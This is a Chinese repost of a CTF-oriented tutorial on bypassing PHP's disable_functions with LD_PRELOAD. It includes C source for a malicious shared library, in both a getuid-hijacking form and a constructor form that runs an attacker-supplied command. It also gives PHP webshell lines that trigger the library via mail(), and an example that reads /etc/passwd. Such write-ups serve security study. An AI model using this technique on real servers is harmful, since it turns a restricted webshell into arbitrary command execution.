前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >使用LDPRELOAD绕过disablefunctions

使用LDPRELOAD绕过disablefunctions

作者头像
安恒网络空间安全讲武堂
发布2019-05-09 18:40:53
1K0
发布2019-05-09 18:40:53
举报
文章被收录于专栏:安恒网络空间安全讲武堂

The defense of disable_functions

在大多数CTF比赛中,出题者会设置 disable_functions这种环境变量。因此,在某些情况下,我已经在远程服务器上获得了一个webshell,但我却因为 disable_functions而无法使用一些特定的系统函数。因此,我在本文中将展示突破这种难题的方法。首先,我将在我的docker镜像 php:7.1.19-apache上展示我绕过 disable_functions的方法。

首先,我会找到当前系统加载的文件 php.ini

代码语言:javascript
复制
php -i | grep php.ini
// return with "Loaded Configuration File => /usr/local/etc/php/php.ini"

如果在此路径下找不到该文件,那么您只需要自己创建即可。然后,我在文件中写入 disable_functions=system,exec选项。此时请重新启动服务以使更改生效。举个例子来说,我重启了我在在docker镜像上的apache服务,这样就可以在phpinfo()中看到这些变化。有人可能会将使用 <?php putenv("");和直接写入 php.ini文件的区别混淆,实际上,我们可以在官方文档中找到答案:添加设置到服务器环境。环境变量仅存在于当前请求状态下。

为了展示 disable_functions是如何工作的,我试着写了一个webshell:

代码语言:javascript
复制
echo system(ls);// return with "Warning: system() has been disabled for security in /var/www/html/xxx.php"

非常恼人的是,此时尽管您已经获得了shell,但您却不能执行系统函数。在Code Breaking Puzzles比赛中,我使用了各种各样的php函数来解决问题。现在,我将使用 LD_PRELOAD来解决现在我们遇到的这个难题。

Use sendmail to bypass disable_functions

这个方法几年前就已经出现了,它建立在这样的概念之上:当系统试图调用该函数时,该函数位于特定的共享库( xxx.so)中。因此,系统将在调用函数之前加载 xxx.so。换句话说,如果我可以在其中创建一个带有同名evil函数的 evil.so,那么我有机会劫持该函数。

首先,我需要选择我想要劫持的函数,在这里我选择 getuid作为劫持函数,因为它是一个非常基本的函数,不需要任何参数。有了 man2getuid,我重写了这个函数:

代码语言:javascript
复制
// evil.c#include <unistd.h>#include <sys/types.h>
uid_t getuid(void){    system("ls");    return 0;}

其次,我需要找到一个可以调用 getuid并运行新进程的php函数。运行新进程的原因就像我上面提到的,我需要重新启动服务来改变 LD_PRELOAD的值。在这里我选择了 mail(),通过 strace-f php mail.php2>&1,我们可以看到,邮件函数不仅可以调用 getuid,还可以使用 execve("/usr/sbin/sendmail",...来创建新进程。

最后一步,我只需要使用 gcc-shared-fPIC evil.c-o evil.so。在我的webshell中:

代码语言:javascript
复制
putenv("LD_PRELOAD=/var/www/html/evil.so");mail("a","b","c","d");

第一行用来预加载evil共享库。在下一行,当 mail()找到 getuid并尝试运行它时,它实际运行的是其中包含 system("ls")的被劫持函数。除此之外, error_log()还将执行sendmail。尝试运行 error_log("test",1,"","")

但是,系统上没有安装 sendmail,或者开发人员可能会限制执行 /usr/sbin/sendmail,这将导致创建新进程失败。

Without sendmail to bypass disable_functions

在这里,我建议你可以试着不劫持函数进行攻击。我们可以改为直接劫持共享库!我会用这个 __attribute__((__constructor__))这个概念。就像How exactly does attribute((constructor)) work(https://stackoverflow.com/questions/2053029/how-exactly-does-attribute-constructor-work) 这篇文章中写的一样,在stackoverflow中,它在加载共享库时,通常是在程序启动期间运行。因此,我重写C程序以劫持共享库:

代码语言:javascript
复制
// evil.c#define _GNU_SOURCE#include <stdlib.h>#include <unistd.h>#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){    unsetenv("LD_PRELOAD");    const char* cmd = getenv("CMD");    system(cmd);}

最后我又一次使用了 gcc-shared-fPIC evil.c-o evil.so,并且写了另一个php webshell:

通过 xxx/?cmd=cat/etc/passwd&out=res.txt&sopath=/var/www/html/evil.so,我可以动态执行我想要运行的命令。

重点

1.我们使用 mail()的原因是,函数将会执行sendmail,它将启动一个新进程并运行 getuid(),这样我们就可以劫持 getuid()

2.如果没有sendmail,我们只能放弃劫持 getuid。但我们可以使函数在主函数之前运行劫持新启动的进程。当 mail()尝试启动一个新的子进程时, evil.so会再次加载。

3.如果 mail()也被禁止,我们需要找到的是另一个可以启动新进程的函数。我们可以测试 imagick(),它将启动一个子进程来执行 ffmpeg。同样,我们也可以在 __attribute__上获得成功!

原文链接:https://blog.1pwnch.com/websecurity/2019/04/08/Bypass-disablefuncs-with-LDPRELOAD/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-04-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Use sendmail to bypass disable_functions
  • Without sendmail to bypass disable_functions
  • 重点
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档